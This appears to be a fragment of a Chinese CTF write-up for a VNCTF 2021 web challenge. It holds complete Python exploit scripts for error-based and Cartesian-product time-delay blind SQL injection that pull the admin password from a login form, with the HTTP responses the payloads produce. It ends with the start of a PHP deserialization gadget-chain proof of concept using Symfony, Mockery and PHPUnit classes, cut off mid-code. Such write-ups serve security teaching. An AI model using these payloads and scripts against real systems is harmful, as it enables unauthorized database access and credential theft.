select if((select 0), 1, (select 1 from mysql.user)); # 报错: ERROR 1242 (21000): Subquery returns more than 1 row
根据这个原理,我们可以使用if()语句来构造500报错了,类似如下:
SQL username=whoami&password=' or if((select 1), 1, (select 1 from mysql.user))# [OUTPUT:] HTTP/1.1 200
username=whoami&password=' or if((select 0), 1, (select 1 from mysql.user))# [OUTPUT:] HTTP/1.1 500
根据这个原理写出最终的sql盲注exp脚本:
PYTHON import requests url = 'http://4.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login' flag = '' for i in range(1,250): low = 32 high = 128 mid = (low+high)//2 while(low<high): #payload = "' or if((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)))>%d,1,(select 1 from mysql.user))#" %(i,mid) #payload = "' or if((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),%d,1)))>%d,1,(select 1 from mysql.user))#" %(i,mid) payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,1,(select 1 from mysql.user))#" % (i, mid) datas = { "username":"admin", "password": payload } res = requests.post(url=url,data=datas)
if res.status_code == 200: # 为真时,即判断正确的时候的条件 low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag)
SQL mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +-----------+ | count(*) | +-----------+ | 113101560 | +-----------+ 1 row in set (2.07 sec)
mysql> select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); +------+-----+ | user | pwd | +------+-----+ | 1 | 0 | +------+-----+ 1 row in set (2.08 sec)
SQL username=whoami&password=1' and if((select 1),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);# [OUTPUT:] HTTP/1.1 504 Gateway Time-out # 有很长的延时, 以至于Time-out了
username=whoami&password=1' and if((select 0),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),0);# [OUTPUT:] HTTP/1.1 200 # 没有延时
最后给出笛卡尔积延时注入的脚本:
PYTHON import requests url = 'http://4.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login' flag = '' for i in range(1,250): low = 32 high = 128 mid = (low+high)//2 while(low<high): #payload = "' or if((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid) #payload = "' or if((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid) payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" % (i, mid) datas = { "username":"admin", "password": payload } res = requests.post(url=url,data=datas,timeout=None) # 不限制超时
if '504 Gateway Time-out' in res.text: # 为真时,即判断正确的时候的条件 low = mid+1 else: high = mid mid = (low+high)//2 if(mid ==32 or mid ==127): break flag = flag+chr(mid) print(flag)
PHP // poc.php <?php namespace Symfony\Component\Routing\Loader\Configurator{ class ImportConfigurator{ private $parent; private $route; public function __construct($class){ $this->parent = $class; $this->route = 'test'; } } }
namespace Mockery{ class HigherOrderMessage{ private $mock; private $method; public function __construct($class){ $this->mock = $class; $this->method = 'generate'; } } }
namespace PHPUnit\Framework\MockObject{ final class MockTrait{ private $classCode; private $mockName; public function __construct(){ $this->classCode = "phpinfo();"; $this->mockName = '123'; } } }
namespace{ use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator; use \Mockery\HigherOrderMessage; use \PHPUnit\Framework\MockObject\MockTrait; $m = new MockTrait(); $h = new HigherOrderMessage($m); $i = new ImportConfigurator($h);